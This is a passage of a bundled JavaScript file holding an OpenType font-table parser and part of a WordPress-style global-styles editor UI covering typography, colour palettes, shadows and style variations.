20055 `vertORiginYMetrics`,
20056 () => [...new Array(this.numVertOriginYMetrics)].map(
20057 (_) => new VertOriginYMetric(p22)
20058 )
20059 );
20060 }
20061 };
20062 var VertOriginYMetric = class {
20063 constructor(p22) {
20064 this.glyphIndex = p22.uint16;
20065 this.vertOriginY = p22.int16;
20066 }
20067 };
20068 var VORG$1 = Object.freeze({ __proto__: null, VORG });
20069 var BitmapSize = class {
20070 constructor(p22) {
20071 this.indexSubTableArrayOffset = p22.Offset32;
20072 this.indexTablesSize = p22.uint32;
20073 this.numberofIndexSubTables = p22.uint32;
20074 this.colorRef = p22.uint32;
20075 this.hori = new SbitLineMetrics(p22);
20076 this.vert = new SbitLineMetrics(p22);
20077 this.startGlyphIndex = p22.uint16;
20078 this.endGlyphIndex = p22.uint16;
20079 this.ppemX = p22.uint8;
20080 this.ppemY = p22.uint8;
20081 this.bitDepth = p22.uint8;
20082 this.flags = p22.int8;
20083 }
20084 };
20085 var BitmapScale = class {
20086 constructor(p22) {
20087 this.hori = new SbitLineMetrics(p22);
20088 this.vert = new SbitLineMetrics(p22);
20089 this.ppemX = p22.uint8;
20090 this.ppemY = p22.uint8;
20091 this.substitutePpemX = p22.uint8;
20092 this.substitutePpemY = p22.uint8;
20093 }
20094 };
20095 var SbitLineMetrics = class {
20096 constructor(p22) {
20097 this.ascender = p22.int8;
20098 this.descender = p22.int8;
20099 this.widthMax = p22.uint8;
20100 this.caretSlopeNumerator = p22.int8;
20101 this.caretSlopeDenominator = p22.int8;
20102 this.caretOffset = p22.int8;
20103 this.minOriginSB = p22.int8;
20104 this.minAdvanceSB = p22.int8;
20105 this.maxBeforeBL = p22.int8;
20106 this.minAfterBL = p22.int8;
20107 this.pad1 = p22.int8;
20108 this.pad2 = p22.int8;
20109 }
20110 };
20111 var EBLC = class extends SimpleTable {
20112 constructor(dict, dataview, name2) {
20113 const { p: p22 } = super(dict, dataview, name2);
20114 this.majorVersion = p22.uint16;
20115 this.minorVersion = p22.uint16;
20116 this.numSizes = p22.uint32;
20117 lazy$1(
20118 this,
20119 `bitMapSizes`,
20120 () => [...new Array(this.numSizes)].map(
20121 (_) => new BitmapSize(p22)
20122 )
20123 );
20124 }
20125 };
20126 var EBLC$1 = Object.freeze({ __proto__: null, EBLC });
20127 var EBDT = class extends SimpleTable {
20128 constructor(dict, dataview, name2) {
20129 const { p: p22 } = super(dict, dataview, name2);
20130 this.majorVersion = p22.uint16;
20131 this.minorVersion = p22.uint16;
20132 }
20133 };
20134 var EBDT$1 = Object.freeze({ __proto__: null, EBDT });
20135 var EBSC = class extends SimpleTable {
20136 constructor(dict, dataview) {
20137 const { p: p22 } = super(dict, dataview);
20138 this.majorVersion = p22.uint16;
20139 this.minorVersion = p22.uint16;
20140 this.numSizes = p22.uint32;
20141 lazy$1(
20142 this,
20143 `bitmapScales`,
20144 () => [...new Array(this.numSizes)].map(
20145 (_) => new BitmapScale(p22)
20146 )
20147 );
20148 }
20149 };
20150 var EBSC$1 = Object.freeze({ __proto__: null, EBSC });
20151 var CBLC = class extends EBLC {
20152 constructor(dict, dataview) {
20153 super(dict, dataview, `CBLC`);
20154 }
20155 };
20156 var CBLC$1 = Object.freeze({ __proto__: null, CBLC });
20157 var CBDT = class extends EBDT {
20158 constructor(dict, dataview) {
20159 super(dict, dataview, `CBDT`);
20160 }
20161 };
20162 var CBDT$1 = Object.freeze({ __proto__: null, CBDT });
20163 var sbix = class extends SimpleTable {
20164 constructor(dict, dataview) {
20165 const { p: p22 } = super(dict, dataview);
20166 this.version = p22.uint16;
20167 this.flags = p22.flags(16);
20168 this.numStrikes = p22.uint32;
20169 lazy$1(
20170 this,
20171 `strikeOffsets`,
20172 () => [...new Array(this.numStrikes)].map((_) => p22.Offset32)
20173 );
20174 }
20175 };
20176 var sbix$1 = Object.freeze({ __proto__: null, sbix });
20177 var COLR = class extends SimpleTable {
20178 constructor(dict, dataview) {
20179 const { p: p22 } = super(dict, dataview);
20180 this.version = p22.uint16;
20181 this.numBaseGlyphRecords = p22.uint16;
20182 this.baseGlyphRecordsOffset = p22.Offset32;
20183 this.layerRecordsOffset = p22.Offset32;
20184 this.numLayerRecords = p22.uint16;
20185 }
20186 getBaseGlyphRecord(glyphID) {
20187 let start2 = this.tableStart + this.baseGlyphRecordsOffset;
20188 this.parser.currentPosition = start2;
20189 let first = new BaseGlyphRecord(this.parser);
20190 let firstID = first.gID;
20191 let end = this.tableStart + this.layerRecordsOffset - 6;
20192 this.parser.currentPosition = end;
20193 let last = new BaseGlyphRecord(this.parser);
20194 let lastID = last.gID;
20195 if (firstID === glyphID) return first;
20196 if (lastID === glyphID) return last;
20197 while (true) {
20198 if (start2 === end) break;
20199 let mid = start2 + (end - start2) / 12;
20200 this.parser.currentPosition = mid;
20201 let middle = new BaseGlyphRecord(this.parser);
20202 let midID = middle.gID;
20203 if (midID === glyphID) return middle;
20204 else if (midID > glyphID) {
20205 end = mid;
20206 } else if (midID < glyphID) {
20207 start2 = mid;
20208 }
20209 }
20210 return false;
20211 }
20212 getLayers(glyphID) {
20213 let record = this.getBaseGlyphRecord(glyphID);
20214 this.parser.currentPosition = this.tableStart + this.layerRecordsOffset + 4 * record.firstLayerIndex;
20215 return [...new Array(record.numLayers)].map(
20216 (_) => new LayerRecord(p)
20217 );
20218 }
20219 };
20220 var BaseGlyphRecord = class {
20221 constructor(p22) {
20222 this.gID = p22.uint16;
20223 this.firstLayerIndex = p22.uint16;
20224 this.numLayers = p22.uint16;
20225 }
20226 };
20227 var LayerRecord = class {
20228 constructor(p22) {
20229 this.gID = p22.uint16;
20230 this.paletteIndex = p22.uint16;
20231 }
20232 };
20233 var COLR$1 = Object.freeze({ __proto__: null, COLR });
20234 var CPAL = class extends SimpleTable {
20235 constructor(dict, dataview) {
20236 const { p: p22 } = super(dict, dataview);
20237 this.version = p22.uint16;
20238 this.numPaletteEntries = p22.uint16;
20239 const numPalettes = this.numPalettes = p22.uint16;
20240 this.numColorRecords = p22.uint16;
20241 this.offsetFirstColorRecord = p22.Offset32;
20242 this.colorRecordIndices = [...new Array(this.numPalettes)].map(
20243 (_) => p22.uint16
20244 );
20245 lazy$1(this, `colorRecords`, () => {
20246 p22.currentPosition = this.tableStart + this.offsetFirstColorRecord;
20247 return [...new Array(this.numColorRecords)].map(
20248 (_) => new ColorRecord(p22)
20249 );
20250 });
20251 if (this.version === 1) {
20252 this.offsetPaletteTypeArray = p22.Offset32;
20253 this.offsetPaletteLabelArray = p22.Offset32;
20254 this.offsetPaletteEntryLabelArray = p22.Offset32;
20255 lazy$1(this, `paletteTypeArray`, () => {
20256 p22.currentPosition = this.tableStart + this.offsetPaletteTypeArray;
20257 return new PaletteTypeArray(p22, numPalettes);
20258 });
20259 lazy$1(this, `paletteLabelArray`, () => {
20260 p22.currentPosition = this.tableStart + this.offsetPaletteLabelArray;
20261 return new PaletteLabelsArray(p22, numPalettes);
20262 });
20263 lazy$1(this, `paletteEntryLabelArray`, () => {
20264 p22.currentPosition = this.tableStart + this.offsetPaletteEntryLabelArray;
20265 return new PaletteEntryLabelArray(p22, numPalettes);
20266 });
20267 }
20268 }
20269 };
20270 var ColorRecord = class {
20271 constructor(p22) {
20272 this.blue = p22.uint8;
20273 this.green = p22.uint8;
20274 this.red = p22.uint8;
20275 this.alpha = p22.uint8;
20276 }
20277 };
20278 var PaletteTypeArray = class {
20279 constructor(p22, numPalettes) {
20280 this.paletteTypes = [...new Array(numPalettes)].map(
20281 (_) => p22.uint32
20282 );
20283 }
20284 };
20285 var PaletteLabelsArray = class {
20286 constructor(p22, numPalettes) {
20287 this.paletteLabels = [...new Array(numPalettes)].map(
20288 (_) => p22.uint16
20289 );
20290 }
20291 };
20292 var PaletteEntryLabelArray = class {
20293 constructor(p22, numPalettes) {
20294 this.paletteEntryLabels = [...new Array(numPalettes)].map(
20295 (_) => p22.uint16
20296 );
20297 }
20298 };
20299 var CPAL$1 = Object.freeze({ __proto__: null, CPAL });
20300 var DSIG = class extends SimpleTable {
20301 constructor(dict, dataview) {
20302 const { p: p22 } = super(dict, dataview);
20303 this.version = p22.uint32;
20304 this.numSignatures = p22.uint16;
20305 this.flags = p22.uint16;
20306 this.signatureRecords = [...new Array(this.numSignatures)].map(
20307 (_) => new SignatureRecord(p22)
20308 );
20309 }
20310 getData(signatureID) {
20311 const record = this.signatureRecords[signatureID];
20312 this.parser.currentPosition = this.tableStart + record.offset;
20313 return new SignatureBlockFormat1(this.parser);
20314 }
20315 };
20316 var SignatureRecord = class {
20317 constructor(p22) {
20318 this.format = p22.uint32;
20319 this.length = p22.uint32;
20320 this.offset = p22.Offset32;
20321 }
20322 };
20323 var SignatureBlockFormat1 = class {
20324 constructor(p22) {
20325 p22.uint16;
20326 p22.uint16;
20327 this.signatureLength = p22.uint32;
20328 this.signature = p22.readBytes(this.signatureLength);
20329 }
20330 };
20331 var DSIG$1 = Object.freeze({ __proto__: null, DSIG });
20332 var hdmx = class extends SimpleTable {
20333 constructor(dict, dataview, tables) {
20334 const { p: p22 } = super(dict, dataview);
20335 const numGlyphs = tables.hmtx.numGlyphs;
20336 this.version = p22.uint16;
20337 this.numRecords = p22.int16;
20338 this.sizeDeviceRecord = p22.int32;
20339 this.records = [...new Array(numRecords)].map(
20340 (_) => new DeviceRecord(p22, numGlyphs)
20341 );
20342 }
20343 };
20344 var DeviceRecord = class {
20345 constructor(p22, numGlyphs) {
20346 this.pixelSize = p22.uint8;
20347 this.maxWidth = p22.uint8;
20348 this.widths = p22.readBytes(numGlyphs);
20349 }
20350 };
20351 var hdmx$1 = Object.freeze({ __proto__: null, hdmx });
20352 var kern = class extends SimpleTable {
20353 constructor(dict, dataview) {
20354 const { p: p22 } = super(dict, dataview);
20355 this.version = p22.uint16;
20356 this.nTables = p22.uint16;
20357 lazy$1(this, `tables`, () => {
20358 let offset = this.tableStart + 4;
20359 const tables = [];
20360 for (let i2 = 0; i2 < this.nTables; i2++) {
20361 p22.currentPosition = offset;
20362 let subtable = new KernSubTable(p22);
20363 tables.push(subtable);
20364 offset += subtable;
20365 }
20366 return tables;
20367 });
20368 }
20369 };
20370 var KernSubTable = class {
20371 constructor(p22) {
20372 this.version = p22.uint16;
20373 this.length = p22.uint16;
20374 this.coverage = p22.flags(8);
20375 this.format = p22.uint8;
20376 if (this.format === 0) {
20377 this.nPairs = p22.uint16;
20378 this.searchRange = p22.uint16;
20379 this.entrySelector = p22.uint16;
20380 this.rangeShift = p22.uint16;
20381 lazy$1(
20382 this,
20383 `pairs`,
20384 () => [...new Array(this.nPairs)].map((_) => new Pair(p22))
20385 );
20386 }
20387 if (this.format === 2) {
20388 console.warn(
20389 `Kern subtable format 2 is not supported: this parser currently only parses universal table data.`
20390 );
20391 }
20392 }
20393 get horizontal() {
20394 return this.coverage[0];
20395 }
20396 get minimum() {
20397 return this.coverage[1];
20398 }
20399 get crossstream() {
20400 return this.coverage[2];
20401 }
20402 get override() {
20403 return this.coverage[3];
20404 }
20405 };
20406 var Pair = class {
20407 constructor(p22) {
20408 this.left = p22.uint16;
20409 this.right = p22.uint16;
20410 this.value = p22.fword;
20411 }
20412 };
20413 var kern$1 = Object.freeze({ __proto__: null, kern });
20414 var LTSH = class extends SimpleTable {
20415 constructor(dict, dataview) {
20416 const { p: p22 } = super(dict, dataview);
20417 this.version = p22.uint16;
20418 this.numGlyphs = p22.uint16;
20419 this.yPels = p22.readBytes(this.numGlyphs);
20420 }
20421 };
20422 var LTSH$1 = Object.freeze({ __proto__: null, LTSH });
20423 var MERG = class extends SimpleTable {
20424 constructor(dict, dataview) {
20425 const { p: p22 } = super(dict, dataview);
20426 this.version = p22.uint16;
20427 this.mergeClassCount = p22.uint16;
20428 this.mergeDataOffset = p22.Offset16;
20429 this.classDefCount = p22.uint16;
20430 this.offsetToClassDefOffsets = p22.Offset16;
20431 lazy$1(
20432 this,
20433 `mergeEntryMatrix`,
20434 () => [...new Array(this.mergeClassCount)].map(
20435 (_) => p22.readBytes(this.mergeClassCount)
20436 )
20437 );
20438 console.warn(`Full MERG parsing is currently not supported.`);
20439 console.warn(
20440 `If you need this table parsed, please file an issue, or better yet, a PR.`
20441 );
20442 }
20443 };
20444 var MERG$1 = Object.freeze({ __proto__: null, MERG });
20445 var meta = class extends SimpleTable {
20446 constructor(dict, dataview) {
20447 const { p: p22 } = super(dict, dataview);
20448 this.version = p22.uint32;
20449 this.flags = p22.uint32;
20450 p22.uint32;
20451 this.dataMapsCount = p22.uint32;
20452 this.dataMaps = [...new Array(this.dataMapsCount)].map(
20453 (_) => new DataMap(this.tableStart, p22)
20454 );
20455 }
20456 };
20457 var DataMap = class {
20458 constructor(tableStart, p22) {
20459 this.tableStart = tableStart;
20460 this.parser = p22;
20461 this.tag = p22.tag;
20462 this.dataOffset = p22.Offset32;
20463 this.dataLength = p22.uint32;
20464 }
20465 getData() {
20466 this.parser.currentField = this.tableStart + this.dataOffset;
20467 return this.parser.readBytes(this.dataLength);
20468 }
20469 };
20470 var meta$1 = Object.freeze({ __proto__: null, meta });
20471 var PCLT = class extends SimpleTable {
20472 constructor(dict, dataview) {
20473 super(dict, dataview);
20474 console.warn(
20475 `This font uses a PCLT table, which is currently not supported by this parser.`
20476 );
20477 console.warn(
20478 `If you need this table parsed, please file an issue, or better yet, a PR.`
20479 );
20480 }
20481 };
20482 var PCLT$1 = Object.freeze({ __proto__: null, PCLT });
20483 var VDMX = class extends SimpleTable {
20484 constructor(dict, dataview) {
20485 const { p: p22 } = super(dict, dataview);
20486 this.version = p22.uint16;
20487 this.numRecs = p22.uint16;
20488 this.numRatios = p22.uint16;
20489 this.ratRanges = [...new Array(this.numRatios)].map(
20490 (_) => new RatioRange(p22)
20491 );
20492 this.offsets = [...new Array(this.numRatios)].map(
20493 (_) => p22.Offset16
20494 );
20495 this.VDMXGroups = [...new Array(this.numRecs)].map(
20496 (_) => new VDMXGroup(p22)
20497 );
20498 }
20499 };
20500 var RatioRange = class {
20501 constructor(p22) {
20502 this.bCharSet = p22.uint8;
20503 this.xRatio = p22.uint8;
20504 this.yStartRatio = p22.uint8;
20505 this.yEndRatio = p22.uint8;
20506 }
20507 };
20508 var VDMXGroup = class {
20509 constructor(p22) {
20510 this.recs = p22.uint16;
20511 this.startsz = p22.uint8;
20512 this.endsz = p22.uint8;
20513 this.records = [...new Array(this.recs)].map(
20514 (_) => new vTable(p22)
20515 );
20516 }
20517 };
20518 var vTable = class {
20519 constructor(p22) {
20520 this.yPelHeight = p22.uint16;
20521 this.yMax = p22.int16;
20522 this.yMin = p22.int16;
20523 }
20524 };
20525 var VDMX$1 = Object.freeze({ __proto__: null, VDMX });
20526 var vhea = class extends SimpleTable {
20527 constructor(dict, dataview) {
20528 const { p: p22 } = super(dict, dataview);
20529 this.version = p22.fixed;
20530 this.ascent = this.vertTypoAscender = p22.int16;
20531 this.descent = this.vertTypoDescender = p22.int16;
20532 this.lineGap = this.vertTypoLineGap = p22.int16;
20533 this.advanceHeightMax = p22.int16;
20534 this.minTopSideBearing = p22.int16;
20535 this.minBottomSideBearing = p22.int16;
20536 this.yMaxExtent = p22.int16;
20537 this.caretSlopeRise = p22.int16;
20538 this.caretSlopeRun = p22.int16;
20539 this.caretOffset = p22.int16;
20540 this.reserved = p22.int16;
20541 this.reserved = p22.int16;
20542 this.reserved = p22.int16;
20543 this.reserved = p22.int16;
20544 this.metricDataFormat = p22.int16;
20545 this.numOfLongVerMetrics = p22.uint16;
20546 p22.verifyLength();
20547 }
20548 };
20549 var vhea$1 = Object.freeze({ __proto__: null, vhea });
20550 var vmtx = class extends SimpleTable {
20551 constructor(dict, dataview, tables) {
20552 super(dict, dataview);
20553 const numOfLongVerMetrics = tables.vhea.numOfLongVerMetrics;
20554 const numGlyphs = tables.maxp.numGlyphs;
20555 const metricsStart = p.currentPosition;
20556 lazy(this, `vMetrics`, () => {
20557 p.currentPosition = metricsStart;
20558 return [...new Array(numOfLongVerMetrics)].map(
20559 (_) => new LongVertMetric(p.uint16, p.int16)
20560 );
20561 });
20562 if (numOfLongVerMetrics < numGlyphs) {
20563 const tsbStart = metricsStart + numOfLongVerMetrics * 4;
20564 lazy(this, `topSideBearings`, () => {
20565 p.currentPosition = tsbStart;
20566 return [...new Array(numGlyphs - numOfLongVerMetrics)].map(
20567 (_) => p.int16
20568 );
20569 });
20570 }
20571 }
20572 };
20573 var LongVertMetric = class {
20574 constructor(h2, b2) {
20575 this.advanceHeight = h2;
20576 this.topSideBearing = b2;
20577 }
20578 };
20579 var vmtx$1 = Object.freeze({ __proto__: null, vmtx });
20580
20581 // packages/global-styles-ui/build-module/font-library/utils/make-families-from-faces.mjs
20582 var import_components38 = __toESM(require_components(), 1);
20583 var { kebabCase: kebabCase3 } = unlock2(import_components38.privateApis);
20584
20585 // packages/global-styles-ui/build-module/font-library/upload-fonts.mjs
20586 var import_jsx_runtime109 = __toESM(require_jsx_runtime(), 1);
20587
20588 // packages/global-styles-ui/build-module/font-library/modal.mjs
20589 var import_jsx_runtime110 = __toESM(require_jsx_runtime(), 1);
20590 var { Tabs } = unlock2(import_components40.privateApis);
20591 var DEFAULT_TAB = {
20592 id: "installed-fonts",
20593 title: (0, import_i18n28._x)("Library", "Font library")
20594 };
20595 var UPLOAD_TAB = {
20596 id: "upload-fonts",
20597 title: (0, import_i18n28._x)("Upload", "noun")
20598 };
20599
20600 // packages/global-styles-ui/build-module/font-family-item.mjs
20601 var import_i18n29 = __toESM(require_i18n(), 1);
20602 var import_components41 = __toESM(require_components(), 1);
20603 var import_element34 = __toESM(require_element(), 1);
20604 var import_jsx_runtime111 = __toESM(require_jsx_runtime(), 1);
20605
20606 // packages/global-styles-ui/build-module/font-families.mjs
20607 var import_jsx_runtime112 = __toESM(require_jsx_runtime(), 1);
20608
20609 // packages/global-styles-ui/build-module/font-sizes/font-sizes-count.mjs
20610 var import_i18n31 = __toESM(require_i18n(), 1);
20611 var import_components43 = __toESM(require_components(), 1);
20612 var import_jsx_runtime113 = __toESM(require_jsx_runtime(), 1);
20613
20614 // packages/global-styles-ui/build-module/screen-typography.mjs
20615 var import_jsx_runtime114 = __toESM(require_jsx_runtime(), 1);
20616
20617 // packages/global-styles-ui/build-module/screen-typography-element.mjs
20618 var import_i18n33 = __toESM(require_i18n(), 1);
20619 var import_components45 = __toESM(require_components(), 1);
20620 var import_element37 = __toESM(require_element(), 1);
20621
20622 // packages/global-styles-ui/build-module/typography-panel.mjs
20623 var import_block_editor8 = __toESM(require_block_editor(), 1);
20624 var import_jsx_runtime115 = __toESM(require_jsx_runtime(), 1);
20625 var { useSettingsForBlockElement: useSettingsForBlockElement4, TypographyPanel: StylesTypographyPanel2 } = unlock2(import_block_editor8.privateApis);
20626
20627 // packages/global-styles-ui/build-module/typography-preview.mjs
20628 var import_jsx_runtime116 = __toESM(require_jsx_runtime(), 1);
20629
20630 // packages/global-styles-ui/build-module/screen-typography-element.mjs
20631 var import_jsx_runtime117 = __toESM(require_jsx_runtime(), 1);
20632 var elements = {
20633 text: {
20634 description: (0, import_i18n33.__)("Manage the fonts used on the site."),
20635 title: (0, import_i18n33.__)("Text")
20636 },
20637 link: {
20638 description: (0, import_i18n33.__)("Manage the fonts and typography used on the links."),
20639 title: (0, import_i18n33.__)("Links")
20640 },
20641 heading: {
20642 description: (0, import_i18n33.__)("Manage the fonts and typography used on headings."),
20643 title: (0, import_i18n33.__)("Headings")
20644 },
20645 caption: {
20646 description: (0, import_i18n33.__)("Manage the fonts and typography used on captions."),
20647 title: (0, import_i18n33.__)("Captions")
20648 },
20649 button: {
20650 description: (0, import_i18n33.__)("Manage the fonts and typography used on buttons."),
20651 title: (0, import_i18n33.__)("Buttons")
20652 }
20653 };
20654
20655 // packages/global-styles-ui/build-module/screen-colors.mjs
20656 var import_i18n35 = __toESM(require_i18n(), 1);
20657 var import_components48 = __toESM(require_components(), 1);
20658 var import_block_editor9 = __toESM(require_block_editor(), 1);
20659
20660 // packages/global-styles-ui/build-module/palette.mjs
20661 var import_components47 = __toESM(require_components(), 1);
20662 var import_i18n34 = __toESM(require_i18n(), 1);
20663 var import_element38 = __toESM(require_element(), 1);
20664
20665 // packages/global-styles-ui/build-module/color-indicator-wrapper.mjs
20666 var import_components46 = __toESM(require_components(), 1);
20667 var import_jsx_runtime118 = __toESM(require_jsx_runtime(), 1);
20668
20669 // packages/global-styles-ui/build-module/palette.mjs
20670 var import_jsx_runtime119 = __toESM(require_jsx_runtime(), 1);
20671
20672 // packages/global-styles-ui/build-module/screen-colors.mjs
20673 var import_jsx_runtime120 = __toESM(require_jsx_runtime(), 1);
20674 var { useSettingsForBlockElement: useSettingsForBlockElement5, ColorPanel: StylesColorPanel2 } = unlock2(
20675 import_block_editor9.privateApis
20676 );
20677
20678 // packages/global-styles-ui/build-module/screen-color-palette.mjs
20679 var import_i18n38 = __toESM(require_i18n(), 1);
20680 var import_components53 = __toESM(require_components(), 1);
20681
20682 // packages/global-styles-ui/build-module/color-palette-panel.mjs
20683 var import_compose6 = __toESM(require_compose(), 1);
20684 var import_components51 = __toESM(require_components(), 1);
20685 var import_i18n36 = __toESM(require_i18n(), 1);
20686
20687 // packages/global-styles-ui/build-module/variations/variations-color.mjs
20688 var import_components50 = __toESM(require_components(), 1);
20689
20690 // packages/global-styles-ui/build-module/preview-colors.mjs
20691 var import_components49 = __toESM(require_components(), 1);
20692
20693 // packages/global-styles-ui/build-module/preset-colors.mjs
20694 var import_jsx_runtime121 = __toESM(require_jsx_runtime(), 1);
20695 function PresetColors() {
20696 const { paletteColors } = useStylesPreviewColors();
20697 return paletteColors.slice(0, 4).map(({ slug, color }, index) => /* @__PURE__ */ (0, import_jsx_runtime121.jsx)(
20698 "div",
20699 {
20700 style: {
20701 flexGrow: 1,
20702 height: "100%",
20703 background: color
20704 }
20705 },
20706 `${slug}-${index}`
20707 ));
20708 }
20709
20710 // packages/global-styles-ui/build-module/preview-colors.mjs
20711 var import_jsx_runtime122 = __toESM(require_jsx_runtime(), 1);
20712 var firstFrameVariants2 = {
20713 start: {
20714 scale: 1,
20715 opacity: 1
20716 },
20717 hover: {
20718 scale: 0,
20719 opacity: 0
20720 }
20721 };
20722 var StylesPreviewColors = ({
20723 label,
20724 isFocused,
20725 withHoverView
20726 }) => {
20727 return /* @__PURE__ */ (0, import_jsx_runtime122.jsx)(
20728 preview_wrapper_default,
20729 {
20730 label,
20731 isFocused,
20732 withHoverView,
20733 children: ({ key }) => /* @__PURE__ */ (0, import_jsx_runtime122.jsx)(
20734 import_components49.__unstableMotion.div,
20735 {
20736 variants: firstFrameVariants2,
20737 style: {
20738 height: "100%",
20739 overflow: "hidden"
20740 },
20741 children: /* @__PURE__ */ (0, import_jsx_runtime122.jsx)(
20742 import_components49.__experimentalHStack,
20743 {
20744 spacing: 0,
20745 justify: "center",
20746 style: {
20747 height: "100%",
20748 overflow: "hidden"
20749 },
20750 children: /* @__PURE__ */ (0, import_jsx_runtime122.jsx)(PresetColors, {})
20751 }
20752 )
20753 },
20754 key
20755 )
20756 }
20757 );
20758 };
20759 var preview_colors_default = StylesPreviewColors;
20760
20761 // packages/global-styles-ui/build-module/variations/variations-color.mjs
20762 var import_jsx_runtime123 = __toESM(require_jsx_runtime(), 1);
20763 var propertiesToFilter2 = ["color"];
20764 function ColorVariations({
20765 title,
20766 gap = 2
20767 }) {
20768 const colorVariations = useCurrentMergeThemeStyleVariationsWithUserConfig(propertiesToFilter2);
20769 if (colorVariations?.length <= 1) {
20770 return null;
20771 }
20772 return /* @__PURE__ */ (0, import_jsx_runtime123.jsxs)(import_components50.__experimentalVStack, { spacing: 3, children: [
20773 title && /* @__PURE__ */ (0, import_jsx_runtime123.jsx)(Subtitle, { level: 3, children: title }),
20774 /* @__PURE__ */ (0, import_jsx_runtime123.jsx)(import_components50.__experimentalGrid, { gap, children: colorVariations.map((variation, index) => /* @__PURE__ */ (0, import_jsx_runtime123.jsx)(
20775 Variation,
20776 {
20777 variation,
20778 isPill: true,
20779 properties: propertiesToFilter2,
20780 showTooltip: true,
20781 children: () => /* @__PURE__ */ (0, import_jsx_runtime123.jsx)(preview_colors_default, {})
20782 },
20783 index
20784 )) })
20785 ] });
20786 }
20787
20788 // packages/global-styles-ui/build-module/color-palette-panel.mjs
20789 var import_jsx_runtime124 = __toESM(require_jsx_runtime(), 1);
20790
20791 // packages/global-styles-ui/build-module/gradients-palette-panel.mjs
20792 var import_compose7 = __toESM(require_compose(), 1);
20793 var import_components52 = __toESM(require_components(), 1);
20794 var import_i18n37 = __toESM(require_i18n(), 1);
20795 var import_jsx_runtime125 = __toESM(require_jsx_runtime(), 1);
20796
20797 // packages/global-styles-ui/build-module/screen-color-palette.mjs
20798 var import_jsx_runtime126 = __toESM(require_jsx_runtime(), 1);
20799 var { Tabs: Tabs2 } = unlock2(import_components53.privateApis);
20800
20801 // packages/global-styles-ui/build-module/screen-background.mjs
20802 var import_i18n39 = __toESM(require_i18n(), 1);
20803 var import_block_editor11 = __toESM(require_block_editor(), 1);
20804 var import_components54 = __toESM(require_components(), 1);
20805
20806 // packages/global-styles-ui/build-module/background-panel.mjs
20807 var import_block_editor10 = __toESM(require_block_editor(), 1);
20808 var import_jsx_runtime127 = __toESM(require_jsx_runtime(), 1);
20809 var { BackgroundPanel: StylesBackgroundPanel2 } = unlock2(
20810 import_block_editor10.privateApis
20811 );
20812
20813 // packages/global-styles-ui/build-module/screen-background.mjs
20814 var import_jsx_runtime128 = __toESM(require_jsx_runtime(), 1);
20815 var { useHasBackgroundPanel: useHasBackgroundPanel3 } = unlock2(import_block_editor11.privateApis);
20816
20817 // packages/global-styles-ui/build-module/shadows-panel.mjs
20818 var import_components56 = __toESM(require_components(), 1);
20819 var import_i18n41 = __toESM(require_i18n(), 1);
20820 var import_element39 = __toESM(require_element(), 1);
20821
20822 // packages/global-styles-ui/build-module/confirm-reset-shadow-dialog.mjs
20823 var import_components55 = __toESM(require_components(), 1);
20824 var import_i18n40 = __toESM(require_i18n(), 1);
20825 var import_jsx_runtime129 = __toESM(require_jsx_runtime(), 1);
20826
20827 // packages/global-styles-ui/build-module/shadows-panel.mjs
20828 var import_jsx_runtime130 = __toESM(require_jsx_runtime(), 1);
20829 var { Menu } = unlock2(import_components56.privateApis);
20830
20831 // packages/global-styles-ui/build-module/shadows-edit-panel.mjs
20832 var import_components57 = __toESM(require_components(), 1);
20833 var import_i18n42 = __toESM(require_i18n(), 1);
20834 var import_element40 = __toESM(require_element(), 1);
20835 var import_jsx_runtime131 = __toESM(require_jsx_runtime(), 1);
20836 var { Menu: Menu2 } = unlock2(import_components57.privateApis);
20837 var customShadowMenuItems = [
20838 {
20839 label: (0, import_i18n42.__)("Rename"),
20840 action: "rename"
20841 },
20842 {
20843 label: (0, import_i18n42.__)("Delete"),
20844 action: "delete"
20845 }
20846 ];
20847 var presetShadowMenuItems = [
20848 {
20849 label: (0, import_i18n42.__)("Reset"),
20850 action: "reset"
20851 }
20852 ];
20853
20854 // packages/global-styles-ui/build-module/screen-shadows.mjs
20855 var import_jsx_runtime132 = __toESM(require_jsx_runtime(), 1);
20856
20857 // packages/global-styles-ui/build-module/screen-layout.mjs
20858 var import_i18n43 = __toESM(require_i18n(), 1);
20859 var import_block_editor13 = __toESM(require_block_editor(), 1);
20860
20861 // packages/global-styles-ui/build-module/dimensions-panel.mjs
20862 var import_block_editor12 = __toESM(require_block_editor(), 1);
20863 var import_element41 = __toESM(require_element(), 1);
20864 var import_jsx_runtime133 = __toESM(require_jsx_runtime(), 1);
20865 var { useSettingsForBlockElement: useSettingsForBlockElement6, DimensionsPanel: StylesDimensionsPanel2 } = unlock2(import_block_editor12.privateApis);
20866
20867 // packages/global-styles-ui/build-module/screen-layout.mjs
20868 var import_jsx_runtime134 = __toESM(require_jsx_runtime(), 1);
20869 var { useHasDimensionsPanel: useHasDimensionsPanel4, useSettingsForBlockElement: useSettingsForBlockElement7 } = unlock2(
20870 import_block_editor13.privateApis
20871 );
20872
20873 // packages/global-styles-ui/build-module/screen-style-variations.mjs
20874 var import_components60 = __toESM(require_components(), 1);
20875 var import_i18n46 = __toESM(require_i18n(), 1);
20876
20877 // packages/global-styles-ui/build-module/style-variations-content.mjs
20878 var import_i18n45 = __toESM(require_i18n(), 1);
20879 var import_components59 = __toESM(require_components(), 1);
20880
20881 // packages/global-styles-ui/build-module/style-variations-container.mjs
20882 var import_core_data22 = __toESM(require_core_data(), 1);
20883 var import_data26 = __toESM(require_data(), 1);
20884 var import_element42 = __toESM(require_element(), 1);
20885 var import_components58 = __toESM(require_components(), 1);
20886 var import_i18n44 = __toESM(require_i18n(), 1);
20887 var import_jsx_runtime135 = __toESM(require_jsx_runtime(), 1);
20888 function StyleVariationsContainer({
20889 gap = 2
20890 }) {
20891 const { user } = (0, import_element42.useContext)(GlobalStylesContext);
20892 const userStyles = user?.styles;
20893 const variations = (0, import_data26.useSelect)((select3) => {
20894 const result = select3(
20895 import_core_data22.store
20896 ).__experimentalGetCurrentThemeGlobalStylesVariations();
20897 return Array.isArray(result) ? result : void 0;
20898 }, []);
20899 const fullStyleVariations = variations?.filter(
20900 (variation) => {
20901 return !isVariationWithProperties(variation, ["color"]) && !isVariationWithProperties(variation, [
20902 "typography",
20903 "spacing"
20904 ]);
20905 }
20906 );
20907 const themeVariations = (0, import_element42.useMemo)(() => {
20908 const withEmptyVariation = [
20909 {
20910 title: (0, import_i18n44.__)("Default"),
20911 settings: {},
20912 styles: {}
20913 },
20914 ...fullStyleVariations ?? []
20915 ];
20916 return [
20917 ...withEmptyVariation.map((variation) => {
20918 const blockStyles = variation?.styles?.blocks ? { ...variation.styles.blocks } : {};
20919 if (userStyles?.blocks) {
